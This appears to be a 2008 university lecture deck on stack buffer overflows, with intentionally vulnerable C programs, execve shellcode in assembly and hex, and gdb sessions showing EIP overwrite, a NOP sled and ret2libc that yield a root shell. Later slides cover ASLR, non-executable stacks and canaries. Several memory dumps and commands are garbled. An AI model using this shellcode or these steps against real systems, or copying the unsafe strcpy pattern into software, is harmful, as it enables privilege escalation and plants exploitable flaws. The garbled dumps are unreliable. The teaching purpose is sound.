Stack Based Buffer Overflows and Protection Mechanisms.

Software Security
January 2008

Igor Yuklyanyuk
- Buffer Overflow Introduction
- What is a buffer overflow?
- What is a ShellCode?
- Exploitation
- ASLR – Address Space Layout Randomization
- Non-Executable Stack
- Canaries
What Is a Buffer Overflow ???
What is a Buffer Overflow

- A class of vulnerability caused by a bug in application
- Most bugs in the 90's and early 00's were buffer overflows
- May be exploited by attacker to gain control of the system
What is a Buffer Overflow

- Buffer Overflow is a program condition where data is written past allocated buffer (e.g. a string buffer)
- Data copied past allocated buffer affects other bits of the program
- Buffer Overflow may occur on stack or heap portion of memory
- We are only concern with stack overflows
- Not All Overflows are exploitable
What is a Buffer Overflow

- Stack is a LIFO Data Structure
- New stack frame is Created every function Call (runtime)
- Execution is continued at Return Address after function completion
- On x86 Stack grows upwards while Memory Addressing grows Downwards
What is a Buffer Overflow

/*
Royal Holloway
Software Security - January 2008
demo1.c
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int nameParser(char *argv[])
{
    char name[10];
    char surname[10];

    strcpy(name, argv[1]);
    strcpy(surname, argv[2]);

    printf("Your name is: %s\n", name);
    printf("Your surname is: %s\n", surname);

    return 0;
}

int main(int argc, char *argv[])
{
    if(argc != 3){
        printf("%s %s %s\n", "Usage: ", argv[0], " <name> <surname> ");
        exit (-1);
    }

    nameParser(argv);
    return 0;
}
What is a Buffer Overflow

wargame: ./demo# ./demo1 AAAAAAAA BBBBBBBBBBBBBBB
Your name is: BBBBB
Your surname is: BBBBBBBBBBBBBBB

/Runtime Data
B B B B B
B B B B B
B B B B B
B B B B B
0x0 A A 0x0

/Unallocated Stack Space
/Stack Growth
/Return Address
/Parent Routine’s Stack
/Memory Addresses
What is a Buffer Overflow

wargame:/demo# ./demo1 `perl -e 'print "B"."A"x20."A"x8'`
Your name is: AAAAAAA
Your surname is: AAAAAAA
Segmentation fault (core dumped)

wargame:/demo# gdb -c core
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
(no debugging symbols found)
Using host libthread_db library "lib tls i686/cmov/libthread_db.so.1".
Core was generated by `./demo1 B AAAAAAA AAAAAA AAAAAA AAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
What is a ShellCode

- Instead of breaking the program attacker wants to take control
- ShellCode is the code that is executed upon successful attack
- Performs specific tasks, such as shell execution (hence ShellCode), connect to attacker controlled host, log deletion etc.
- Restricted in size
- Usually must not contain null byte
- Written in Assembly
- Architecture specific
Simple ShellCode executes shell
What is a ShellCode

; Software Security - January 2008
; Royal Holloway
; shell1.asm
; execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0x0
mov ebx, 0x0
mov ecx, 0x0
mov edx, 0x0
push eax ; push 4 zeroes
push 0x68732f2f ; push "/sh" on stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin/sh" to ebx
push eax ; push 4 nulls on stack
push ebx ; push //bin/sh on stack
mov ecx, esp ; create ecx
mov eax, 11 ; put execve syscall into eax
int 0x80 ; call the kernel to make the syscall happen

wargame:/demo# nasm -f elf shell1.asm
wargame:/demo# ld shell1.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008C
wargame:/demo# ./a.out
sh-3.1#
There are null bytes in this ShellCode
Null Byte is a terminating character in C-string
Use simple logic; XOR anything by itself results in false
What is a ShellCode

; Software Security - January 2008
; Royal Holloway
; shellcode.asm
; execve(const char *filename, char *const argv [], char *const envp[])

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

push eax ; push 4 zeroes
push 0x68732f2f ; push "/sh" on stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" to ebx
push eax ; push 4 nulls on stack
push ebx
push ebx ; push //bin/sh on stack
mov ecx, esp ; create ecx
mov al, 11 ; put execve syscall into eax
int 0x80 ; call the kernel to make the syscall happen
What is a ShellCode

wargame:/demo# objdump -M intel -d shellcode.o

shellcode.o:    file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
  0: 31 c0           xor    eax,eax
  2: 31 db           xor    ebx,ebx
  4: 31 c9           xor    ecx,ecx
  6: 31 d2           xor    edx,edx
  8: 50              push   eax
  9: 68 2f 2f 73 68  push  0x68732f2f
 e: 68 2f 62 69 6e  push  0x6e69622f
 13: 89 e3           mov    ebx,esp
 15: 50              push   eax
 16: 53              push   ebx
 17: 89 e1           mov    ecx,esp
 19: b0 0b           mov    al,0xb
 1b: cd 80           int    0x80
What is a ShellCode

/*
 * Software Security - January 2008
 * Royal Holloway
 * shellcode.c
 *
*/

char main[] =
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
    "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > shellcode.bin
What is a ShellCode

- IDS/IPS may filter ShellCode
- Alpha Numeric ShellCodes
- ShellCode encoders
- MosDef (Immunity)
- Core Impact
Attacker may exploit a vulnerable program to escalate privileges
Linux – Multiuser Operating System
Suid bit
/*
Royal Holloway
Software Security - January 2008
demo2.c
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int func(char *input){
    char c[128];
    strcpy(c, input);
    return 0;
}

int main(int argc, char *argv[]){
    if(argc != 2){
        printf("%s %s %s\n","Usage: ", argv[0], "<string>"y);
        exit (-1);
    }
    func(argv[1]);
    return 0;
}
wargame:/demo# ./demo2 `perl -e 'print "A"x136'`
Segmentation fault (core dumped)
wargame:/demo# gdb -c core
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for a summary.
This GDB was configured as "i486-linux-gnu".
(no debugging symbols found)
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Core was generated by `./demo2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) :q
Undefined command: "". Try "help".
- We are now going to construct a buffer with our ShellCode, so it can be referenced by a program.
- We will then find location of our ShellCode.
- Redirect EIP.
We will assign:
8  bytes for identifier
29  bytes for shellcode
95  bytes for garbage
4  bytes for redirecting eip to address of our choice

wargame:/demo# gdb ./demo2
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disas func
Dump of assembler code for function func:
0x080483c4 <func+0>:  push  %ebp
0x080483c5 <func+1>:  mov  %esp,%ebp
0x080483c7 <func+3>:  sub  $0x88,%esp
0x080483cd <func+9>:  mov  0x8(%ebp),%eax
0x080483d0 <func+12>:  mov  %eax,0x4(%esp)
0x080483d4 <func+16>:  lea  0xffffffff8(%ebp),%eax
0x080483d7 <func+19>:  mov  %eax,(%esp)
0x080483da <func+22>:  call  0x8048308 <strcpy@plt>
0x080483df <func+27>:  mov  $0x0,%eax
0x080483e4 <func+32>:  leave
0x080483e5 <func+33>:  ret
End of assembler dump.
Exploitation

(gdb) b *0x080483df
Breakpoint 1 at 0x80483df
(gdb) r `perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95."CCCC"'`
Starting program: /demo/demo2 `perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95."CCCC"'`
Failed to read a valid object file image from memory.

Breakpoint 1, 0x080483df in func ()

(gdb) x/20x $esp
0xbffff900: 0xbffff908 0xbffffb47 0x42424242 0x42424242
0xbffff910: 0xdb31c031 0xd231c931 0x2f2f6850 0x2f686873
0xbffff920: 0x896e6962 0x895350e3 0xcd0bb0e1 0x41414180
0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141

wargame:/demo#. /demo2 `perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95."\x10\xff\xff\xbf"'
sh-3.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(cdromaccess),46(plugtools),100(dialout),106(sambashare),107(sambashare),99(ftp),50(irc)
Exploitation

■ Problems Matching Memory Address
  • Time Consuming
  • Very Unreliable
  • ShellCode may change location depending on platform, current environment or even bad weather condition
  • Looking for exact memory location is boring
- **NOP (No Operation) Sled**
  - NOP is a special instruction that is not doing anything
  - Used by compilers etc
  - We can use NOP Sled in order to increase the memory range we need to hit
  - We will be using the most common No Operation instruction - 0x90
We will do the following:

100 Bytes Nops
29 Bytes Shell Code
3  Bytes Garbage
4  Bytes Memory Address

user@wargame:/demo$ gdb ./demo2
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) r `perl -e 'print "\x90\x100\n"; cat shellcode.bin; perl -e 'print "A\x3 ."CCCC"'`
Starting program: /demo/demo2 `perl -e 'print "\x90\x100\n"; cat shellcode.bin; perl -e 'print "A\x3 ."CCCC"'`

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
Exploitation

(gdb) x/150x $esp
0xbff9b0: 0xbff9b00 0xbff9a54 0xbff9d8 0x80484c9
0xbff9c0: 0xbff9e0 0xbff9e0 0xbff928 0xb7ec7ea8
0xbff9d0: 0x00000000 0xb8000cc0 0xbfffa28 0xb7ec7ea8
0xbff9e0: 0x000000002 0xbfffa54 0xbfffa60 0x00000000
0xbff9f0: 0xb7f4ff4 0x00000000 0xb8000cc0 0xbfffa28
0xbfffa00: 0xbff9e0 0xb7ec7e6d 0x00000000 0x00000000
0xbfffa10: 0x00000000 0xb7ff6090 0xb7ec7ed 0xb8000ff4
0xbfffa20: 0x000000002 0x8048320 0x00000000 0x8048341
0xbfffa30: 0x80483e6 0x00000002 0xbfffa54 0x80484b0
0xbfffa40: 0x8048460 0xb7ff6c40 0xbfffa4c 0xb8014e4
0xbfffa50: 0x00000002 0xbfffb58 0xbfffb64 0x00000000
0xbfffa60: 0xbfffb4d 0xbfffbfd 0xbfffc08 0xbfffc28
0xbfffa70: 0xbfffc3b 0xbfffc45 0xbfffc00 0xbfffecc
0xbfffa80: 0xbfffeff9 0xbfffe0d 0xbfffe1c 0xbfffe26
0xbfffa90: 0xbfffe37 0xbfffe40 0xbfffe57 0xbfffe67
0xbfffaa0: 0xbfffe6f 0xbfffe7c 0xbfffae 0xbfffece
0xbfffab0: 0x00000000 0x00000020 0xb7fe400 0x00000021
0xbfffac0: 0x00000000 0x00000010 0x00000000 0x00000006
0xbfffad0: 0x00000000 0x00000011 0x00000064 0x00000003
0xbfffae0: 0x00000000 0x00000004 0x00000020 0x00000005
0xbfffa00: 0x00000000 0x00000007 0x00000007 0xb7feb00 0x00000008
0xbfffb00: 0x00000000 0x00000009 0x08048320 0x0000000b
0xbfffb10: 0x0000003e8 0x0000000c 0x0000003e8 0x0000000d
0xbfffb20: 0x0000003e8 0x0000000e 0x0000003e8 0x00000017
0xbfffb30: 0x00000000 0x0000000f 0xbfffb4b 0x00000000
0xbfffb40: 0x00000000 0x00000000 0x69000000 0x00363836
0xbfffb50: 0x00000000 0x00000000 0x6d65642f 0x656426f
0xbfffb60: 0x00326f6d 0x090909090 0x090909090 0x090909090
0xbfffb70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffac0: 0x90909090 0x90909090 0x90909090 0x90909090
Exploitation

user@wargame:/demo$ ./demo2 `perl -e 'print "\x90\x100"; cat shellcode.bin; perl -e 'print "A"x3 ."\x70\xfb\xff\xfb"'`
sh-3.1# exit
exit
user@wargame:/demo$ ./demo2 `perl -e 'print "\x90\x100"; cat shellcode.bin; perl -e 'print "A"x3 ."\x80\xfb\xff\xfb"'`
sh-3.1# exit
exit
user@wargame:/demo$ ./demo2 `perl -e 'print "\x90\x100"; cat shellcode.bin; perl -e 'print "A"x3 ."\x8c\xfb\xff\xfb"'`
sh-3.1# exit
exit
There are many other techniques for exploitation
ShellCode may be put in environment, argv[0], other places within a program
Exploit writers should construct a reliable environment
One mistake may lead to a program crash, BoF exploits are rarely used by consultants
Protection Mechanisms

- Buffer Overflow existed for a while
- There are many techniques developed to prevent exploitation of buffer overflows
- Most can be defeated, however a combination of protection mechanisms provides a reasonable security
Address Space Layout Randomization
- First implemented in PaX for Linux in 2001
- If library addresses, stack, heap etc are ALL randomized an attacker wouldn't know where to redirect the execution
- All binaries must be recompiled as relocatable objects
- Can read more at http://pax.grsecurity.net/docs/
It is not perfect
- Not Everything is randomized (binaries are not recompiled by most distributions)
- Return to Code (within programs) is possible
- Possible to brute-force if using NOP is an option
- Forked processes use the same layout as host process
/ * 
Royal Holloway
Software Security - January 2008
aslr.c
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int func(char *input){
    char c[1024];
    strcpy(c, input);
    return 0;
}

int main(int argc, char *argv[]){
    if(argc != 2){
        printf("%s %s %s\n", "Usage: ", argv[0], "<string>");
        exit (-1);
    }
    func(argv[1]);
    return 0;
}
Non-Executable Stack

- Exploitation of most buffer overflow attacks relied on loading ShellCode to stack (as we did before) and redirect execution to it.
- Non-Executable stack renders this technique useless, since the data on stack cannot be executed.
- Implemented in most operating systems.
- Initially implemented as a kernel patch for Solaris 2.4/2.5 in 1996.
 Soon after release many techniques appeared to bypass Non-Executable Stack protection
 Most rely on the fact that code can be executed anywhere else apart from stack
 Initially attacks were implemented as ret2libc with more techniques appearing later
Non-Executable Stack

- By itself easily defeated
- However in combination with ASLR will provide a strong defense layer
- ASLR is often regarded as Non-Executable Stack protection
Non-Executable Stack

user@wargame:/demo$ gdb -q demo2
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483f4
(gdb) r
Starting program: /demo/demo2

Breakpoint 1, 0x080483f4 in main ()
(gdb) p system
$1 = {<text variable, no debug info> } 0xb7ee8990 <system>

Address of system() is 0xb7ee8990

(gdb) x/s 0xbfffb3
0xbfffb3: "SHELL=/bin/bash"
(gdb) x/s 0xbfffbf3
0xbfffbf3: "/bin/bash"

(gdb) p exit
$1 = {<text variable, no debug info> } 0xb7ede2e0 <exit>

We now have most of what we need and just need to find /bin/sh.

(gdb) x/s 0xbfffb3
0xbfffb3: "SHELL=/bin/sh"
(gdb) x/s 0xbfffbf3
0xbfffbf3: "/bin/sh"

Now we should construct the exploiting string:

```
sh-3.1$ ./demo2 `perl -e 'print "A"x132,"\x90\x89\xee\xb7\x0e\xe2\xed\xb7\x11\xff\xbf"
sh: "ABCDEF": command not found
Segmentation fault
```

It looks like the gdb environment is different from our shell and "/bin/sh" moved.
After several more attempts:

```
user@wargame:/demo$ ./demo2 `perl -e 'print "A"x132,"\x90\x89\xee\xb7\xe0\xe2\xed\xb7\x11\xff\xbf"
sh-3.1$ id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
```
- Places a value (4 bytes) between program data and control data
- Commonly exploitation of stack buffer overflow involves overwriting return address
- If Return address is overwritten so is canary
- If canary Does not match program is terminated
- Stack Guard (0x000aff0d)
- 0x00 Terminates execution of strcpy()
- 0x0a Terminates execution of gets()
- This time of canary is called “Terminator canary”
- Other canaries exist, such as NULL canary – 0x00000000 and random XOR canary, which is randomly XORed against return address, however only the terminator is currently used
It seems that it's not possible to overwrite a return address in usual way

However local variables are not protected

Saved Frame Pointer is not protected

Program may be modified in any way until the function returns
- Number of attacks are possible
- Under some condition, where attacker has unlimited control to memory of the process a GOT table entries may be overwritten
- Relocation of local variables by pointing callers frame to GOT
- Stack Protection techniques exist
- Most are effective when supported by other protection methods
- Stack Overflow exploitation is significantly more difficult (But not impossible)
- Shift is towards web application hacking